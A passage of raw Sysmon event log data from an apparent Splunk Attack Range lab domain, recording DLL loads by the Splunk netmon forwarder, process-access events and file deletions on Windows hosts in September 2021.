Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=480B815433BDBCB41CDD1862FBBCA7C2,SHA256=25AE390E6ACEB7DBCD08F7953F18F2EE5EBEB2539FDF549227E064E62BA888C8,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 10341000x800000000000000052114Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:18.548{7BD73061-6D0F-613B-9406-00000000F001}44803940C:\Windows\Explorer.EXE{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\SHELL32.dll+618b4|C:\Windows\System32\SHELL32.dll+62390|C:\Windows\System32\TwinUI.dll+f54e1|C:\Windows\System32\TwinUI.dll+f5d4f|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000052113Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:18.548{7BD73061-6D0F-613B-9406-00000000F001}44803940C:\Windows\Explorer.EXE{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE0x1410C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\TwinUI.dll+f5319|C:\Windows\System32\TwinUI.dll+f5d4f|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000016693Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:18.029{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=B6915A9622DA632CC6F6BB9C1C63B2E8,SHA256=0654166B2BE815796FE2BAB8E431953A34427E9EBFFA5FE9CBFA8D8F220A0581,IMPHASH=00000000000000000000000000000000falsetrue 734700x800000000000000052112Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:18.479{7BD73061-7302-613B-6A0B-00000000F001}6428C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\cryptbase.dll10.0.14393.0 (rs1_release.160715-1616)Base cryptographic API DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptbase.dllMD5=51FCB0FDEFCB9A3E4A1DC8C8673BC63C,SHA256=63A0E1A76B7ABCF56E44B548568649FFB6B5609402746D48A4DC77CCED20F5FE,IMPHASH=9E9C9DFD04CDDF2B6F1412BF096AEAF4trueMicrosoft WindowsValid 734700x800000000000000052111Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:18.479{7BD73061-7302-613B-6A0B-00000000F001}6428C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\rsaenh.dll10.0.14393.4467 (rs1_release.210604-1844)Microsoft Enhanced Cryptographic ProviderMicrosoft® Windows® Operating SystemMicrosoft Corporationrsaenh.dllMD5=28140830C342F475A597B2D54C42DFFA,SHA256=99E23D0177C6DC59AD72DEEC46CFB995828EF567F001261BC65532B6DDEAD862,IMPHASH=C918D75BDB7774C087BB6C0C9C0A7686trueMicrosoft WindowsValid 734700x800000000000000052110Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:18.479{7BD73061-7302-613B-6A0B-00000000F001}6428C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\cryptsp.dll10.0.14393.2969 (rs1_release.190503-1820)Cryptographic Service Provider APIMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptsp.dllMD5=9500AE4C4B639FEAEED0CC6C39F45149,SHA256=C1055D4B9A854282336A5404CA0FCB1A2EBC3417600035338C9CDFC7B8D0778C,IMPHASH=96CBD1B5C0EA88B677BA3BB5FD009869trueMicrosoft WindowsValid 23542300x800000000000000052109Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:18.479{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=6B35633E0D45814E1FE26A6FEFCF05C4,SHA256=E0CC4DF6EA497AF387AA2273F55781F40748EA31EF5D8B3BE5BCA66EB584EEC9,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 734700x800000000000000052108Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:18.479{7BD73061-7302-613B-6A0B-00000000F001}6428C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\srvcli.dll10.0.14393.0 (rs1_release.160715-1616)Server Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationSRVCLI.DLLMD5=656F846CAED76C6FC5C76E8BACEF4EF6,SHA256=DFDE27C086764ACC1EA3E6A4E2BA50C2AB532F9E1D99203861F51910A8D850FB,IMPHASH=B15A9E7274075AC5A54930989FAC32E4trueMicrosoft WindowsValid 734700x800000000000000052107Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:18.463{7BD73061-7302-613B-6A0B-00000000F001}6428C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\bcrypt.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcrypt.dllMD5=63231EA984BC614584102A96D4F35CB4,SHA256=13C5BD283C01B0D50D8D0D99E88FC67F9234FA14A6860AB2B6EE552199FF6A74,IMPHASH=7C2E79D83754439DC7DE7882DCB4238DtrueMicrosoft WindowsValid 734700x800000000000000052106Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:18.463{7BD73061-7302-613B-6A0B-00000000F001}6428C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\wkscli.dll10.0.14393.0 (rs1_release.160715-1616)Workstation Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWKSCLI.DLLMD5=3DCBAE237E4E1F0EBE8E7DC053F778C4,SHA256=C3331CCBE71CC98A5F1BC013F1C0218FE194CA7B497DDF706BF9025AB5A7B330,IMPHASH=050C8F7AA588BF04847F59B2EFAE366AtrueMicrosoft WindowsValid 734700x800000000000000052105Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:18.463{7BD73061-7302-613B-6A0B-00000000F001}6428C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\netutils.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API Helpers DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNETUTILS.DLLMD5=504739A17F3A05531258784275A6F375,SHA256=A931C54C47B454407990241DB12BD209AC219C55F026ADDED427A9E84A409923,IMPHASH=7D1B32891B9173ED71ED6C18DEFEE578trueMicrosoft WindowsValid 734700x800000000000000052104Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:18.463{7BD73061-7302-613B-6A0B-00000000F001}6428C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\netapi32.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNetApi32.DLLMD5=F55166956AEAD05A141BA7E80B90AB7B,SHA256=B9BCF21D7F7E771C388C469B2611E8946166C62005B56D72421060DABFF7093F,IMPHASH=2D83F1DFF12EFB449C1FCD6634700369trueMicrosoft WindowsValid 734700x800000000000000052103Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:18.463{7BD73061-7302-613B-6A0B-00000000F001}6428C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\sspicli.dll10.0.14393.2580 (rs1_release_inmarket.181009-1745)Security Support Provider InterfaceMicrosoft® Windows® Operating SystemMicrosoft Corporationsspicli.dllMD5=5061339CE61C0B32DB8F51A95E3B2422,SHA256=60558CA374334D4C6BBAD475921538C14A9FF3422893348A0503C1F33015FD25,IMPHASH=4B1C9487A6420C18F688F0EC5BEB6F33trueMicrosoft WindowsValid 734700x800000000000000052102Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:18.463{7BD73061-7302-613B-6A0B-00000000F001}6428C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Program Files\SplunkUniversalForwarder\bin\msvcp140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationmsvcp140.dllMD5=BA72C2F6F465926980ADC2FB7F8B3490,SHA256=86881A7054532019291C162F0A8177980C1C2B45490F7E88543F22915D08D9FF,IMPHASH=ADF99B9EA3A1F76C33522F96772BC4DDtrueMicrosoft CorporationValid 734700x800000000000000052101Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:18.463{7BD73061-7302-613B-6A0B-00000000F001}6428C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\msvcp_win.dll10.0.14393.2999 (rs1_release_inmarket.190520-1518)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcp_win.dllMD5=C50C0CEFA633773AB29572E05834F1FE,SHA256=50178F23AA57B31626614C6C65DA2B6518A64FF684FFA18A0F49C4431DFCBEC5,IMPHASH=5B59892514923CABE9B70CFE22A3F59AtrueMicrosoft WindowsValid 734700x800000000000000052100Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:18.463{7BD73061-7302-613B-6A0B-00000000F001}6428C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\oleaut32.dll10.0.14393.4402 (rs1_release.210426-1725)OLEAUT32.DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationOLEAUT32.DLLMD5=57B07BF89C63FA60A810FEDE496126CA,SHA256=080632F80FA2A387E5A55C670FFE07C927D553FDDA26F7F8B4156C0C6B20E75E,IMPHASH=8987D71C85BB2C13D3D90194331F962FtrueMicrosoft WindowsValid 734700x800000000000000052099Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:18.463{7BD73061-7302-613B-6A0B-00000000F001}6428C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\bcryptprimitives.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcryptprimitives.dllMD5=8AAF6E1B14B9210052FFF90E25926D63,SHA256=F2120C8E63EA94F8618B31319A534731C16D8FDD58B0E1E70217D72A39D78353,IMPHASH=BA5C37A1CF8C2730ED1F4DA1587496A5trueMicrosoft WindowsValid 734700x800000000000000052098Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:18.463{7BD73061-7302-613B-6A0B-00000000F001}6428C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\combase.dll10.0.14393.4583 (rs1_release.210730-1850)Microsoft COM for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationCOMBASE.DLLMD5=878EBD02A580FDF8F187100127E6D3A8,SHA256=54E4BADDFBD97CFFF871B6D7316B28872218B92F37C41199F71EB37BC5634216,IMPHASH=0863DD72CA0C3702DB7ACD19A4D5DEB1trueMicrosoft WindowsValid 734700x800000000000000052097Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:18.448{7BD73061-7302-613B-6A0B-00000000F001}6428C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\ole32.dll10.0.14393.4169 (rs1_release.210107-1130)Microsoft OLE for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationOLE32.DLLMD5=676B0A1FB2A01D19AECB1F19883B6FC4,SHA256=56DEB219840DBAF9DAF645AD5D79AF9AB05F20E688382854DD487F440B257552,IMPHASH=9724475F92787AFC45A3BA458C0DCDC5trueMicrosoft WindowsValid 734700x800000000000000052096Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:18.448{7BD73061-7302-613B-6A0B-00000000F001}6428C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\Wldap32.dll10.0.14393.3269 (rs1_release.190929-1234)Win32 LDAP API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWLDAP32.DLLMD5=12D6C3E8AC705BB42D377C05714F551C,SHA256=E67F6DB96F062A319312C365F1F55B2B38B0F90B77FFDA2522418709CBA45EB3,IMPHASH=D13722FCCB1CDD38974ADB7277D98799trueMicrosoft WindowsValid 734700x800000000000000052095Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:18.448{7BD73061-7302-613B-6A0B-00000000F001}6428C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\gdi32full.dll10.0.14393.4530 (rs1_release.210705-0736)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=9D82D7DBC3D9E0D8E86D10A5B1BF736E,SHA256=270CA1A42ECB4C22E826C1C95924F0014CC99254AB55B7167DA144D45E238E6D,IMPHASH=059EB3BAA45E35C79FAE66F7279059EEtrueMicrosoft WindowsValid 734700x800000000000000052094Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:18.448{7BD73061-7302-613B-6A0B-00000000F001}6428C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Program Files\SplunkUniversalForwarder\bin\vcruntime140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationvcruntime140.dllMD5=0C583614EB8FFB4C8C2D9E9880220F1D,SHA256=6CADB4FEF773C23B511ACC8B715A084815C6E41DD8C694BC70090A97B3B03FB9,IMPHASH=2CB5DA5225E972A08F32D04B8085DC7EtrueMicrosoft CorporationValid 734700x800000000000000052093Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:18.448{7BD73061-7302-613B-6A0B-00000000F001}6428C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\adsldpc.dll10.0.14393.0 (rs1_release.160715-1616)ADs LDAP Provider C DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationadsldpcMD5=F03FD7F523CFDBB96B0F3B8012FC161D,SHA256=8218E5AC2D7A52A2D50CD8D3CC8AA8CE4E37D1BDECFA62BC2637AA32A01CBA54,IMPHASH=AFF2E9AF6DD20912DC1E604BDBCA3761trueMicrosoft WindowsValid 734700x800000000000000052092Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:18.448{7BD73061-7302-613B-6A0B-00000000F001}6428C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Program Files\SplunkUniversalForwarder\bin\archive.dll-----MD5=98978F08A7A0D24C92FE8DC5287A8258,SHA256=CBB940A38E834C0BE44884C667863F76D6700D564043F90B3EB813370C3174E7,IMPHASH=86B04733169A315F437478D1C9AA6193trueSplunk, Inc.Valid 734700x800000000000000052091Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:18.448{7BD73061-7302-613B-6A0B-00000000F001}6428C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\gdi32.dll10.0.14393.4169 (rs1_release.210107-1130)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=551D603CEC947F586DB9FADEF4D2EBA6,SHA256=143125EFF9F3BC5B3F3BE505F3C3814393807B9CACB6AA5F75D39C77EC0D4ED8,IMPHASH=A24D446CB7FCBB6D29B592603C0BE00CtrueMicrosoft WindowsValid 734700x800000000000000052090Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:18.448{7BD73061-7302-613B-6A0B-00000000F001}6428C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\ucrtbase.dll10.0.14393.3659 (rs1_release_1.200410-1813)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationucrtbase.dllMD5=9804D130E8E7178738C2B9808091B427,SHA256=6053B7CC85846F15094475116A8C57BA89FE99FDD1978C54E8A7E2114E318FE3,IMPHASH=57ABD1FDE351971A01E912069E11B44CtrueMicrosoft WindowsValid 734700x800000000000000052089Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:18.448{7BD73061-7302-613B-6A0B-00000000F001}6428C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libeay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/libeay32.dllMD5=6445BD4247E3956B244772F3C415585F,SHA256=2B08FC9E160AD0F698226DA3E30A12551E8EBCCA1E7287E3915EC62B58151A78,IMPHASH=838F909F0A52D977E0B8662364FA0BFEtrueSplunk, Inc.Valid 734700x800000000000000052088Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:18.448{7BD73061-7302-613B-6A0B-00000000F001}6428C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\win32u.dll10.0.14393.0 (rs1_release.160715-1616)Win32uMicrosoft® Windows® Operating SystemMicrosoft CorporationWin32u.DLLMD5=6A40F9C63B52CB4E8271CF3418618033,SHA256=A2BE23DA7AADFA9118130C939CD59D86E590957172FF404511EE6C5EC5147F15,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000052087Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:18.448{7BD73061-7302-613B-6A0B-00000000F001}6428C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec-openssl.dll-----MD5=F30BB43EC30BE50400780223450492CD,SHA256=867D0453E285A5C29A4EFA039D2399662DCCAC98F88C46B0A41CEFB6B68DD836,IMPHASH=464BF3FDF330E6A15D24CC679EF7F72EtrueSplunk, Inc.Valid 734700x800000000000000052086Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:18.448{7BD73061-7302-613B-6A0B-00000000F001}6428C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec.dll-----MD5=D98BAB348C28C8CFCC11EDB575E2557A,SHA256=ADA3F1256B175ECC390F126D2730D7A1AAB5A53F1AF205A7667D8010416602F9,IMPHASH=3295DC2518E43BEF226F8847873D20C2trueSplunk, Inc.Valid 734700x800000000000000052085Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:18.448{7BD73061-7302-613B-6A0B-00000000F001}6428C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Program Files\SplunkUniversalForwarder\bin\ssleay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/ssleay32.dllMD5=B20FA07A7A61791EE537B5945429E141,SHA256=EF53BC2AB58BC548EFA249B0B8F2E1FBB9D4739EF27B0C67DFF1468D555329D3,IMPHASH=E09B42A7EA1725DA2CD99223AD969C63trueSplunk, Inc.Valid 734700x800000000000000052084Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:18.448{7BD73061-7302-613B-6A0B-00000000F001}6428C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxslt.dll-----MD5=B8D3119CE62331C6A9B170DA0A608F28,SHA256=7D6C6B7C542B4E67AA468FEB12044E2EE34CE8F8A68C7665D7861F3363B6E66A,IMPHASH=06C8C57E25207671F4639FDBFA0212ECtrueSplunk, Inc.Valid 734700x800000000000000052083Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:18.448{7BD73061-7302-613B-6A0B-00000000F001}6428C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\nsi.dll10.0.14393.3297 (rs1_release_1.191001-1045)NSI User-mode interface DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationnsi.dllMD5=994E2A6D2A0B38E0968B3998E42033AC,SHA256=491F2D1DE09C39B324BCF5800198AC7CCE755F4023F1FEB3854D33716461BC27,IMPHASH=B01B7830101BC0D5FBDE4FFE2B170CF7trueMicrosoft WindowsValid 734700x800000000000000052082Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:18.448{7BD73061-7302-613B-6A0B-00000000F001}6428C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxml2.dll2.9.9libxml2 librarylibxml2-libxml2.dllMD5=0E7B7B3B25A2F094EB3A7BAF471154B8,SHA256=6CFAC8D8D5B7345F2C6CC82CBF8F9DD475881EA260346BE283E52B822F2CCAC1,IMPHASH=6DA659461618DB73B9BD17D114677D20trueSplunk, Inc.Valid 734700x800000000000000052081Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:18.448{7BD73061-7302-613B-6A0B-00000000F001}6428C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\user32.dll10.0.14393.4169 (rs1_release.210107-1130)Multi-User Windows USER API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationuser32MD5=883B59C5557E8A9B3C1E1ED1CA48CD5A,SHA256=271800C20A96587265BF83DE2EFC11329EEB2B6C0D57E5E0BCD137FB96BFE6E3,IMPHASH=070F257E4632BC576557C4085595EAA4trueMicrosoft WindowsValid 734700x800000000000000052080Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:18.448{7BD73061-7302-613B-6A0B-00000000F001}6428C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\dnsapi.dll10.0.14393.4350 (rs1_release.210407-2154)DNS Client API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationdnsapiMD5=D7651F99299B13D576A72643BFC44944,SHA256=589302E630C473DBDF4CE92C59F00B029FCA0C228E7111A764166E16025FA1A9,IMPHASH=3C043C6FF0F62DAEB8819606F79C5ECCtrueMicrosoft WindowsValid 734700x800000000000000052079Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:18.448{7BD73061-7302-613B-6A0B-00000000F001}6428C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\activeds.dll10.0.14393.4169 (rs1_release.210107-1130)ADs Router Layer DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationADsMD5=C62947CD1080E3B128B517AE91B22D6D,SHA256=6BB5D8967F822B5B1646DC9069212914D36C4D3D65E086AC0890B6A02112B438,IMPHASH=C7DF3F2CF025F0BEDA797705E4F4AFBBtrueMicrosoft WindowsValid 734700x800000000000000052078Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:18.432{7BD73061-7302-613B-6A0B-00000000F001}6428C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\IPHLPAPI.DLL10.0.14393.2339 (rs1_release_inmarket.180611-1502)IP Helper APIMicrosoft® Windows® Operating SystemMicrosoft Corporationiphlpapi.dllMD5=3CD38EDF9CA12F91131EDEE32D1C9DF5,SHA256=AF2440640BF8BDEAAF0DECDD7C354158E415ED0AA340ABA7A6CCCDC09C1E728B,IMPHASH=98738BA55485CCA932F6D222F47FFC55trueMicrosoft WindowsValid 734700x800000000000000052077Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:18.432{7BD73061-7302-613B-6A0B-00000000F001}6428C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\secur32.dll10.0.14393.2273 (rs1_release_1.180427-1811)Security Support Provider InterfaceMicrosoft® Windows® Operating SystemMicrosoft Corporationsecur32.dllMD5=BCF1B2F76F8A3A3E9E8F4D4322954651,SHA256=46B327CD50E728CBC22BD80F39DCEF2789AB780C77B6D285EEB90126B06EEEB5,IMPHASH=0D8FF9DE2DA5C07D680347B1A098E759trueMicrosoft WindowsValid 734700x800000000000000052076Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:18.432{7BD73061-7302-613B-6A0B-00000000F001}6428C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\msvcrt.dll7.0.14393.2457 (rs1_release_inmarket.180822-1743)Windows NT CRT DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcrt.dllMD5=0AF8989DD67A135B536CF948E3EFB7EB,SHA256=C693DA0EF4DCF3BC244661B9FD280FE12C3053FDD7B977712C0CF210831B2EF4,IMPHASH=07D6F84E3C8FD0D2C32F9398A0369BAFtrueMicrosoft WindowsValid 734700x800000000000000052075Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:18.432{7BD73061-7302-613B-6A0B-00000000F001}6428C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\advapi32.dll10.0.14393.4467 (rs1_release.210604-1844)Advanced Windows 32 Base APIMicrosoft® Windows® Operating SystemMicrosoft Corporationadvapi32.dllMD5=A8CDCAC5C32D14ED8AADDF5489FC5D55,SHA256=140F07A8F6780DAFE20CC4FBE86C9332FB2F0C26ED8F49914BD05265C63EF6F1,IMPHASH=B511E4B82A44D3731CDA46A74F5D57EAtrueMicrosoft WindowsValid 734700x800000000000000052074Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:18.432{7BD73061-7302-613B-6A0B-00000000F001}6428C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\rpcrt4.dll10.0.14393.4467 (rs1_release.210604-1844)Remote Procedure Call RuntimeMicrosoft® Windows® Operating SystemMicrosoft Corporationrpcrt4.dllMD5=B0C4BF9491FB453B77399E3C56C11DC8,SHA256=66D5D1B3D25D15EA8737C8B2EF83E770BA10931868F24DCACC50936F0A0BAC08,IMPHASH=EB45E6A4165ECBE63E7CA7D14DE0BD8EtrueMicrosoft WindowsValid 734700x800000000000000052073Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:18.432{7BD73061-7302-613B-6A0B-00000000F001}6428C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\sechost.dll10.0.14393.3808 (rs1_release.200707-2105)Host for SCM/SDDL/LSA Lookup APIsMicrosoft® Windows® Operating SystemMicrosoft Corporationsechost.dllMD5=E6B98644CD3B912C44C39CC0996790A9,SHA256=23BE56E1B8DBA449C0959753175BD15457EC88E93E9E8B86489266347959A6F2,IMPHASH=D6E06125849E8565A50F366A0149FB40trueMicrosoft WindowsValid 734700x800000000000000052072Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:18.432{7BD73061-7302-613B-6A0B-00000000F001}6428C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\ws2_32.dll10.0.14393.3241 (rs1_release_inmarket.190910-1801)Windows Socket 2.0 32-Bit DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationws2_32.dllMD5=06E82905620845A7C185BDEE85CC4140,SHA256=B75C9B080293F85568912BABE749F403144959206F9C6BAB36B628E8F77C5DA0,IMPHASH=76A5AA3DF6083D853F576403C8F841A8trueMicrosoft WindowsValid 10341000x800000000000000052071Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:18.432{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-7302-613B-6A0B-00000000F001}6428C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000052070Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:18.432{7BD73061-7302-613B-6A0B-00000000F001}6428C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\KernelBase.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft 